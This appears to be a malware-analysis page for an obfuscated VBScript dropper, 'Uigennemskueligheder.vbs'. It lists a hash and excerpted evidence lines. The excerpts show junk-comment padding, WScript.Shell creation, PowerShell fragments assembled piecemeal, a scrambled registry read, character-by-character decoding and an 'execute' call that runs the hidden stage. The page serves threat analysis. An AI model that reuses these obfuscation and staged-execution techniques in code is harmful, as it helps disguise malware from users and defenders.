Hostile ^100% Download

Uigennemskueligheder.vbs

Obfuscated VBS executes decoded payload

Registry-aware WSH executes a stride-decoded stageJunk-padded VBScript executes a stride-decoded stage

SHA-256d0dd66c59c2e23d93d3dba453259ff6bcd1eec4ae9b3b4b5d70021e6f1a91809

URLhttps://mb-api.abuse.ch/api/v1/

Evidence

References the WScript.Shell COM object lines 1–21

1Sub Overcertify(Andalusianmanifestets,Heterophagousvache98,Menobranchusfestsalskir,Hjrepressemanganeis)
2If Andalusianmanifestets = "compromitting" Then 
3Call lederne(4442571,8168840)
4End If
5If Heterophagousvache98 = "Legevrks" Then 
6
7Set Pachydermpurgat = CreateObject("WScript.Shell")
8
9End If
⋯6 lines
16Degenereringermgfalde = "Brndstofferne" & "Coney" & "Streams" 
17
18End Sub 
19Function Maaltidets(Vandmndcataleptizetwitter,Faderligesbrnerapportreal,Woodchoppingpurita,Genindfrselaktio)
20
21Isa …

VBScript has 500 long comment lines lines 53–71

53:10… roosul = FormatCurrency(4192710)
54
55End If
56End Sub 
57Circumtabular = Circumtabular + "function xqlar9 {[void](Get-Date)}$opvarterens=@(101,108,103,115);$afgoeres = [System.Environment]::Processor"
58'Sektormyndigheds: forbudstavlens lean, prferencestillings jernstberier? merrily49! skovbyggelinjen. evaginating sklvs haptotropically possessival fjernelsers254; khamti? husholdnings
59'Heptasulphide203 overdrivelserne! wivans untransfigured. ordklver: nonchurched! studeringen115? victualry idrtsklubberne cercopithecoid antilacrosser teeswater hexanedione? mlkekonservesfabrikkernes nedklet armere bantamizes226 afslagningen202? reliquidation mentalities; reassumere votometer, uliges. spnede
60'Akkumulatorer! volitational, salvadors! lymphogranulomas planeringer ciras sinopias. miljadministrationernes? banians gallerierne; stavnsbundet: ying; udkmpelsens? funktionalismens bolledej. reincentive postvsener: pokalturneringernes molbo laryngoscopy chrestomathic nokkers: bastite? rundede: underskrednes, delfinernes unmanacling
61'Lids, langfredages pierced? ophjendes kinglessness! adoptering efterabelserne: platbor. fledged ungdomsskrifterne: slgerpantebreve dekameters! knapmageres. loegnehistorierne ransagningerne! untolerated stiliseringen geotechnic
62'Fasterens forsyningsbutik extensum136 transmissionstiderne, cocktailplser stiven: formatstrengene. unsuspectedness tilintetgrelses heterozetesis! lsekredses! lindorme201 chasmogamic! paatryk. aarhundredegammel, jagtmarkernes iridophore mackling glimkatode unpetted? unpatientness, dicephalism taftforenes varmluftsovne125 zoonite, krystalgeneratoren; nesquehonite
63'Dihydroxyacetone prag: verifier96? stavbaandets166. hogweeds: devaporate; nagelfaste; activate dresseringens; uncontinual undersgelseskammer afklingerne toxical fleering alderamin! blennioidea: fichuers! brnetilskuddets. magneto embroiled counterplease heteronymy regionsplanlgning elsdyrhovedernes. prerent palmyras! tipoldefdres;
64'Sjakalhampen; desultory? reedified: diethylamine labourers56 overlusciousness fjerkrproduktionen ligroin perspiring? abris satiya186, vendtes, situationsspillenes84! satinklaeder rejsebreve verdenshersker, practicable
65'Klaudine! setibo thatll, paralambdacismus trrings0. monilia132! aldor? mecodonta: gjordbue bremseskiver. stemmebaandene, stilfulderes raakostjernenes. spdbarnspleje avenge? trensers unleached prparation:
66'afpilledes? deviancy; brusetabletter! bommer. outwwove? zoospermium? positionslistens? harridan? cursorily deserteredes; ttner: ribesbuskenes strangulation? scending hierophantes9
67'Renoticed? campsites12! melodising213 korsrianer? digressiveness fdevaretyper skvalpende: reolplovene? chaplets139 marinbiologi ukrlig, outlimb nonloxodromical! strifemaking kommercialiseringens? nonanalogic fnomenet111? helsstrene, forepoled piscatorially, assize rivalisere? galactophthysis,
68'Vrdihfter179? kabaretterne aandsvidenskab nephrocolopexy! northwardly; slughalses styrthjelmenes; tackify generationsklfternes? rovdriften; hulderes! temperamentalist unchiding! udtagelseskamps; scarey
69Circumtabular = Circumtabular + "Count;$uterofixation=-46313+52313;$halmviskenes=4;function plorx8 {$foramination = [System.Guid]::NewGuid().ToString()}functio"
70
71Bastantesttersu = Bastantestte …

VBScript extracts one character with Mid lines 667–672

667:131… coach, aprilsnarrens? reebok. spirelet besvimet.
668footwears=Asc(Mid(Egoers,24223,1))
669
670Pantebrevenehapsero = TimeValue("14:14:14")
671
672'Kandelaberen isvinteren, dobbeltlbers cophouse. roots. unceremonially svamp …

WScript RegRead registry query lines 727–729

727:152… isobutyronitrile. jytas; gaflet dragist? kokkene dacha! nonnovel midsomrene adeleidae slutdisponering. intercensal,
728Aarevingede.RegRead beflittende("SubvicccccH-- -K jjjLDDDDM ???\zzzzS %,%ONNN FllllTPPPPWAA AA~~~~ReeeeE;;;;\iiiiWEEEEOMMM Wyyy 6,III4  oo3----2XXXXNqqqqo+,++d iiieEEEE\^^^^M ---iZZZZcn nnr____o +++sAAA offf f////t&&&&\ D DW????iKKKKn,kkkd QQQorrrrw_,__stt t\~~~~Cyy yueeeer +++rhhhhekkkkn::::t  wwV QQQeG.GGr%%%%sBBBBi ZZZo UUUngggg\XXXXPIII r TTTo ___glll r???.a^^ ^mffffFb bbizzzzl&&&&e::::szzzzDTTTTi ###rMethylating ")
729'baandoptagelser. overliggedagenes? marrymuffe! lapidari …

Execute statement on variable lines 796–798

796:218… ogical34; touzled; udskiller gunpapers aalholm105: hvidtende svejtserfrancs213, perigenital88;
797execute Lovvalgs 
798'Erases chokolademoussers maengde236 archegay. androiden; grusningerne; raderknives desertless rougernes: agentry degreasing: moas151, mandrel prisonous chebule? twistingly! rumply respin. ne …